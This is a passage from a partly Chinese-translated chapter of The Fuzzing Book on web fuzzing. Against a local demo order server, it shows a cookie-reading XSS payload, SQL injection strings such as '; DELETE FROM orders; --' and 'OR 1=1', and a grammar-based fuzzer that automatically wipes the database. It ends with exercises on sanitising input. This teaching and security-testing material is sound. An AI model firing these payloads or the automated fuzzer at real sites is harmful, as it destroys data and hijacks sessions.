'/order?item=lockset&name=Jane+Doe%3cscript%3edocument.title+%3d+document.cookie.substring(0,+10)%3b%3c%2fscript%3e&email=j.doe%40example.com&city=Seattle&zip=34506'

```

```py
url_with_injected_xss = urljoin(httpd_url, order_with_injected_xss)
url_with_injected_xss

```

```py
'http://127.0.0.1:8800/order?item=lockset&name=Jane+Doe%3cscript%3edocument.title+%3d+document.cookie.substring(0,+10)%3b%3c%2fscript%3e&email=j.doe%40example.com&city=Seattle&zip=34506'

```

```py
HTML(webbrowser(url_with_injected_xss, mute=True))

```

**Thank you for your Fuzzingbook Order!**

我们将向西雅图的简·多伊（Jane Doe）发送**一本FuzzingBook锁套**，地址为34506
，确认邮件将发送至j.doe@example.com。

Want more swag? Use our [order form](/)!

该消息看起来一如既往-但是，如果您查看浏览器的标题，现在应该显示``秘密''笔记本cookie的前10个字符。 该脚本除了可以在标题中不显示其前缀之外，还可以将Cookie静默发送到远程服务器，从而使攻击者可以劫持您当前的笔记本会话并代表您与服务器进行交互。 它也可以访问并发送浏览器中显示或可用的其他任何数据。 它可以运行*键盘记录程序*，并在键入密码时窃取密码和其他敏感数据。同样，每次在浏览器中显示带有Jane Doe名称的被破坏的顺序并执行关联的脚本时，它都将这样做。 。

让我们将标题重置为一个不太敏感的值：

```py
HTML('<script>document.title = "Jupyter"</script>')

```

### SQL Injection Attacks

跨站点脚本具有与网页相同的特权-最值得注意的是，它们无法在浏览器之外访问或更改数据。 所谓的 *SQL注入*以*数据库*为目标，从而允许注入可以读取或修改数据库中数据的命令，或者更改原始查询的目的。

为了了解SQL注入的工作原理，让我们看一下生成SQL命令以将新订单插入数据库的代码：

```py
sql_command = ("INSERT INTO orders " +
    "VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values))

```

如果任何一个值（例如`name`）的值都可以将*解释为SQL命令，该怎么办？* 然后，我们将执行`name`施加的命令，而不是预期的`INSERT`命令。

让我们通过一个例子来说明。 我们设置在执行过程中会发现的各个值：

```py
values = {
    "item": "tshirt",
    "name": "Jane Doe",
    "email": "j.doe@example.com",
    "city": "Seattle",
    "zip": "98104"
}

```

并格式化字符串，如上所示：

```py
sql_command = ("INSERT INTO orders " +
               "VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values))
sql_command

```

```py
"INSERT INTO orders VALUES ('tshirt', 'Jane Doe', 'j.doe@example.com', 'Seattle', '98104')"

```

没事吧？ 但是现在，我们定义了一个非常“特殊”的名称，该名称也可以解释为SQL命令：

```py
values["name"] = "Jane', 'x', 'x', 'x'); DELETE FROM orders; -- "

```

```py
sql_command = ("INSERT INTO orders " +
               "VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values))
sql_command

```

```py
"INSERT INTO orders VALUES ('tshirt', 'Jane', 'x', 'x', 'x'); DELETE FROM orders; -- ', 'j.doe@example.com', 'Seattle', '98104')"

```

此处发生的是，我们现在得到一个命令，用于将值插入数据库（带有一些“虚拟”值`x`），然后是一条SQL `DELETE`命令，该命令将*删除数据库中的所有条目* 订单表。 字符串`--`启动SQL *注释*，以便可以轻松忽略原始查询的其余部分。 通过制作也可以解释为SQL命令的字符串，攻击者可以更改或删除数据库数据，绕过身份验证机制等等。

我们的服务器还容易受到此类攻击吗？ 当然是。 我们创建了一个特殊的语法，以便可以通过SQL注入将`<name>`参数设置为字符串，如上所示。

```py
from [Grammars](Grammars.html) import extend_grammar

```

```py
ORDER_GRAMMAR_WITH_SQL_INJECTION = extend_grammar(ORDER_GRAMMAR, {
    "<name>": [cgi_encode("Jane', 'x', 'x', 'x'); DELETE FROM orders; --")],
})

```

```py
sql_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_SQL_INJECTION)
order_with_injected_sql = sql_injection_fuzzer.fuzz()
order_with_injected_sql

```

```py
"/order?item=drill&name=Jane',+'x',+'x',+'x')%3b+DELETE+FROM+orders%3b+--&email=j.doe%40example.com&city=New+York&zip=14083"

```

这些是当前订单：

```py
print(db.execute("SELECT * FROM orders").fetchall())

```

```py
[('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104'), ('lockset', 'Jane Doe', 'j_smith@example.com', 'Seattle', '16631'), ('drill', 'Jane Doe', 'j.doe@example.com', '', '45732'), ('drill', 'Jane Doe', 'j,doe@example.com', 'Seattle', '45732'), ('drill', ' ', '5F @p   a ', 'cdb', '3230'), ('drill', ' m', '@@0', 'd', '9'), ('lockset', '  ', 'c@d', '_', '6'), ('lockset', ' ', 'd@_-', '2  0', '1040'), ('tshirt', 'Kb', 'm@ ', 'zy ', '13'), ('lockset', 'd', 'U @t', ' ', '4'), ('tshirt', '_ 2', '1  @ ', ' ', '30'), ('tshirt', ' ', 'a-@ ', ' W', '2'), ('lockset', 'V', '  @aUeeD', ' ', '01'), ('tshirt', 'oc', '  @ ', 'a', '25'), ('drill', '55', '3>@@5', 'L', '0'), ('tshirt', ' ', 'b t2@ ', 'E9', '54'), ('drill', 'R-', 'e@?', ' ', '5'), ('drill', '\n    Jane Doe<p>\n    <strong><a href="www.lots.of.malware">Click here for cute cat pictures!</a></strong>\n    </p>\n    ', 'j_smith@example.com', 'Seattle', '02805'), ('lockset', 'Jane Doe<script>document.title = document.cookie.substring(0, 10);</script>', 'j.doe@example.com', 'Seattle', '34506')]

```

让我们开始，将带有SQL注入的URL发送到服务器。 从日志中，我们看到“恶意” SQL命令的形成与上面所概述的一样，并且也已执行。

```py
contents = webbrowser(urljoin(httpd_url, order_with_injected_sql))

```

```py
127.0.0.1 - - [21/May/2019 20:16:43] INSERT INTO orders VALUES ('drill', 'Jane', 'x', 'x', 'x'); DELETE FROM orders; --', 'j.doe@example.com', 'New York', '14083')

```

```py
127.0.0.1 - - [21/May/2019 20:16:43] "GET /order?item=drill&name=Jane',+'x',+'x',+'x')%3b+DELETE+FROM+orders%3b+--&email=j.doe%40example.com&city=New+York&zip=14083 HTTP/1.1" 200 -

```

现在所有订单都消失了：

```py
print(db.execute("SELECT * FROM orders").fetchall())

```

```py
[]

```

在非常受欢迎的XKCD漫画中也说明了这种效果[：](https://xkcd.com/327/)

![https://xkcd.com/327/](img/da2ed6c73a15bdb149d27aff0d322602.jpg) {width = 100％}

即使我们不能执行任意命令，也可以通过破坏订单数据库来提供多种可能性。 例如，我们可以使用现有人员的地址和匹配的信用卡号来进行验证并提交订单，而只是将订单发送到我们选择的地址。 我们还可以使用SQL注入来注入上述HTML和JavaScript代码，从而绕开针对这些域的可能的清理工作。

为避免此类影响，补救措施是对所有第三方输入的*进行消毒-输入中的任何字符都不能解释为纯HTML，JavaScript或SQL。 这可以通过正确地*引用*和*转义*输入来实现。 [练习](#Exercises)提供了有关操作的说明。*

### 泄漏内部信息

为了构建上述SQL查询，我们使用了*内部信息* –例如，我们知道表的名称及其结构。 当然，攻击者不会知道这一点，因此无法进行攻击，对吗？ 不幸的是，事实证明，我们首先是将所有这些信息泄露给全世界。 我们的服务器产生的错误消息揭示了我们所需的一切：

```py
answer = webbrowser(urljoin(httpd_url, "/order"), mute=True)

```

```py
HTML(answer)

```

**Internal Server Error**

The server has encountered an internal error. Go to our [order form](/).

```py
Traceback (most recent call last):
  File "", line 8, in do_GET
    self.handle_order()
  File "<ipython-input-27-5f6d443bea4f>", line 4, in handle_order
    self.store_order(values)
  File "<ipython-input-28-e2f199af34d4>", line 5, in store_order
    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
KeyError: 'item'</ipython-input-28-e2f199af34d4></ipython-input-27-5f6d443bea4f> 
```

避免因故障而导致信息泄漏的最佳方法当然是首先不要失败。 但是，如果失败了，攻击者将很难在攻击和失败之间建立联系。 不要产生“内部错误”消息（当然也不要产生带有内部信息的消息）； 不会变得迟钝 只需返回首页并要求用户提供正确的数据即可。 再有[练习](#Exercises)提供了一些有关如何修复服务器的说明。

如果您不仅可以操纵服务器来更改信息，还可以操纵*检索*信息，则可以通过访问特殊的*表*（也称为*数据字典）来了解表名和结构。* ），其中数据库服务器存储其元数据。 例如，在MySQL服务器中，特殊表`information_schema`保存元数据，例如数据库和表的名称，列的数据类型或访问权限。

## 全自动Web攻击

到目前为止，我们已经使用手动编写的顺序语法演示了上述攻击。 但是，这些攻击也适用于生成的语法。 我们通过添加一些常见的SQL注入攻击来扩展`HTMLGrammarMiner`：

```py
class SQLInjectionGrammarMiner(HTMLGrammarMiner):
    ATTACKS = [
        "<string>' <sql-values>); <sql-payload>; <sql-comment>",
        "<string>' <sql-comment>",
        "' OR 1=1<sql-comment>'",
        "<number> OR 1=1",
    ]

    def __init__(self, html_text, sql_payload):
        super().__init__(html_text)

        self.QUERY_GRAMMAR = extend_grammar(self.QUERY_GRAMMAR, {
            "<text>": ["<string>", "<sql-injection-attack>"],
            "<number>": ["<digits>", "<sql-injection-attack>"],
            "<checkbox>": ["<_checkbox>", "<sql-injection-attack>"],
            "<email>": ["<_email>", "<sql-injection-attack>"],
            "<sql-injection-attack>": [
                cgi_encode(attack, "<->") for attack in self.ATTACKS
            ],
            "<sql-values>": ["", cgi_encode("<sql-values>, '<string>'", "<->")],
            "<sql-payload>": [cgi_encode(sql_payload)],
            "<sql-comment>": ["--", "#"],
        })

```

```py
html_miner = SQLInjectionGrammarMiner(
    html_text, sql_payload="DROP TABLE orders")

```

```py
grammar = html_miner.mine_grammar()
grammar

```

```py
{'<start>': ['<action>?<query>'],
 '<string>': ['<letter>', '<letter><string>'],
 '<letter>': ['<plus>', '<percent>', '<other>'],
 '<plus>': ['+'],
 '<percent>': ['%<hexdigit-1><hexdigit>'],
 '<hexdigit>': ['0',
  '1',
  '2',
  '3',
  '4',
  '5',
  '6',
  '7',
  '8',
  '9',
  'a',
  'b',
  'c',
  'd',
  'e',
  'f'],
 '<other>': ['0', '1', '2', '3', '4', '5', 'a', 'b', 'c', 'd', 'e', '-', '_'],
 '<text>': ['<string>', '<sql-injection-attack>'],
 '<number>': ['<digits>', '<sql-injection-attack>'],
 '<digits>': ['<digit>', '<digits><digit>'],
 '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
 '<checkbox>': ['<_checkbox>', '<sql-injection-attack>'],
 '<_checkbox>': ['on', 'off'],
 '<email>': ['<_email>', '<sql-injection-attack>'],
 '<_email>': ['<string>%40<string>'],
 '<hexdigit-1>': ['3', '4', '5', '6', '7'],
 '<submit>': [''],
 '<sql-injection-attack>': ["<string>'+<sql-values>)%3b+<sql-payload>%3b+<sql-comment>",
  "<string>'+<sql-comment>",
  "'+OR+1%3d1<sql-comment>'",
  '<number>+OR+1%3d1'],
 '<sql-values>': ['', "<sql-values>,+'<string>'"],
 '<sql-payload>': ['DROP+TABLE+orders'],
 '<sql-comment>': ['--', '#'],
 '<action>': ['/order'],
 '<item>': ['item=<item-value>'],
 '<item-value>': ['tshirt', 'drill', 'lockset'],
 '<name>': ['name=<text>'],
 '<email-1>': ['email=<email>'],
 '<city>': ['city=<text>'],
 '<zip>': ['zip=<number>'],
 '<terms>': ['terms=<checkbox>'],
 '<submit-1>': ['submit=<submit>'],
 '<query>': ['<item>&<name>&<email-1>&<city>&<zip>&<terms>&<submit-1>']}

```

```py
grammar["<text>"]

```

```py
['<string>', '<sql-injection-attack>']

```

我们看到，现在已经测试了几个字段的漏洞：

```py
sql_fuzzer = GrammarFuzzer(grammar)
sql_fuzzer.fuzz()

```

```py
"/order?item=lockset&name=4+OR+1%3d1&email=%66%40%3ba&city=%7a&zip=99&terms=1'+#&submit="

```

```py
print(db.execute("SELECT * FROM orders").fetchall())

```

```py
[]

```

```py
contents = webbrowser(urljoin(httpd_url,
                              "/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104"))

```

```py
127.0.0.1 - - [21/May/2019 20:16:43] INSERT INTO orders VALUES ('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104')

```

```py
127.0.0.1 - - [21/May/2019 20:16:43] "GET /order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104 HTTP/1.1" 200 -

```

```py
def orders_db_is_empty():
    try:
        entries = db.execute("SELECT * FROM orders").fetchall()
    except sqlite3.OperationalError:
        return True
    return len(entries) == 0

```

```py
orders_db_is_empty()

```

```py
False

```

```py
class SQLInjectionFuzzer(WebFormFuzzer):
    def __init__(self, url, sql_payload="", **kwargs):
        self.sql_payload = sql_payload
        super().__init__(url, **kwargs)

    def get_grammar(self, html_text):
        grammar_miner = SQLInjectionGrammarMiner(
            html_text, sql_payload=self.sql_payload)
        return grammar_miner.mine_grammar()

```

```py
sql_fuzzer = SQLInjectionFuzzer(httpd_url, "DELETE FROM orders")
web_runner = WebRunner(httpd_url)
trials = 1

while True:
    sql_fuzzer.run(web_runner)
    if orders_db_is_empty():
        break
    trials += 1

```

```py
trials

```

```py
68

```

我们的攻击成功了！ 经过不到一秒钟的测试，我们的数据库为空：

```py
orders_db_is_empty()

```

```py
True

```

同样，请注意可能的自动化级别：

*   搜寻主机的网页以获取可能的形式
*   自动识别表单字段和可能的值
*   将SQL（或HTML或JavaScript）注入以下任何字段

以及所有这些都是全自动的，只需要网站的URL即可。

坏消息是，使用上述工具集，任何人都可以攻击网站。 更糟糕的是，这种渗透测试每天都在每个网站上进行。 不过，好消息是，在阅读了本章之后，您将了解Web服务器每天如何受到攻击-以及作为Web服务器维护者可以采取哪些措施来防止这种情况。

## 经验教训

*   用户界面（在Web和其他地方）应使用*预期的*和*意外的*值进行测试。
*   可以*从用户界面*挖掘语法，从而对其进行广泛的测试。
*   因此，对输入的进行清除*可以防止常见的攻击，例如代码和SQL注入。*
*   不要尝试自己编写Web服务器，因为您可能会重复别人的所有错误。

我们完成了，所以我们可以清理：

```py
clear_httpd_messages()

```

```py
httpd_process.terminate()

```

## 后续步骤

从这里开始，下一步是 [GUI Fuzzing](GUIFuzzer.html) ，从基于HTML和Web的用户界面到通用用户界面（包括JavaScript和移动用户界面）。

如果您对安全测试感兴趣，请不要错过关于信息流的[一章，该章展示了如何系统地检测信息泄漏。 这也解决了SQL注入攻击的问题。](InformationFlow.html)

## 背景

Web应用程序安全性的 [Wikipedia页面是任何构建，维护或测试Web应用程序的人员的必读材料。 如本章所述，2012年，跨站点脚本和SQL注入构成了Web应用程序漏洞的50％以上。](https://en.wikipedia.org/wiki/Web_application_security)

关于渗透测试的 [Wikipedia页面提供了渗透测试历史以及漏洞集合的全面概述。](https://en.wikipedia.org/wiki/Penetration_test)

[OWASP Zed攻击代理项目](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project)（ZAP）是一个开放源代码的网站安全扫描程序，包括上面讨论的几个功能，以及更多其他功能。

## 练习

### 练习1：修复服务器

创建一个`BetterHTTPRequestHandler`类来解决`SimpleHTTPRequestHandler`的几个问题：

#### 第1部分：静默故障

设置服务器，使其不泄露内部信息，尤其是回溯和HTTP状态代码。

[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.

#### 第2部分：经过清理的HTML

设置服务器，使其不易受到HTML和JavaScript注入攻击，特别是通过使用`html.escape()`之类的方法在显示特殊字符时将其转义。

```py
import [html](https://docs.python.org/3/library/html.html)

```

[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.

#### 第3部分：清理过的SQL

设置服务器，使其不易受到SQL注入攻击的攻击，特别是通过使用 *SQL参数替换。*

[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.

#### 第4部分：健壮的服务器

设置服务器，使其不会因无效或缺少字段而崩溃。

[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.

#### 第5部分：测试！

测试您改进的服务器，您的措施是否成功。

[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.

### 练习2：保护服务器

假设您无法更改服务器代码。 创建一个*过滤器*，该过滤器将在所有URL上运行，然后将它们传递给服务器。

[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.

#### 第1部分：黑名单过滤器

设置过滤器函数`blacklist(url)`，该函数为不应到达服务器的URL返回`False`。 检查URL是否包含HTML，JavaScript或SQL片段。

[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.

#### 第2部分：白名单过滤器

设置过滤器函数`whitelist(url)`，该函数为允许访问服务器的URL返回`True`。 检查URL是否符合期望； 为此，请使用[解析器](Parser.html)和专用语法。

[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.

### 练习3：输入模式

要填写表单，模糊器可能会更聪明地生成输入值。 从HTML 5开始，输入字段可以具有`pattern`属性，该属性定义输入值必须满足的*正则表达式*。 例如，可以通过模式定义5位邮政编码

```py
<input type="text" pattern="[0-9][0-9][0-9][0-9][0-9]">

```

从HTML页面提取此类模式，并将其转换为等效的语法生成规则，确保仅生成满足模式的输入。

[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.

### 练习4：覆盖率驱动的Web模糊测试

将上述模糊器与[覆盖范围驱动的](GrammarCoverageFuzzer.html)和基于[搜索的](SearchBasedFuzzer.html)方法结合使用，以最大化功能和代码覆盖范围。

[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/WebFuzzer.ipynb#Exercises) to work on the exercises and see solutions.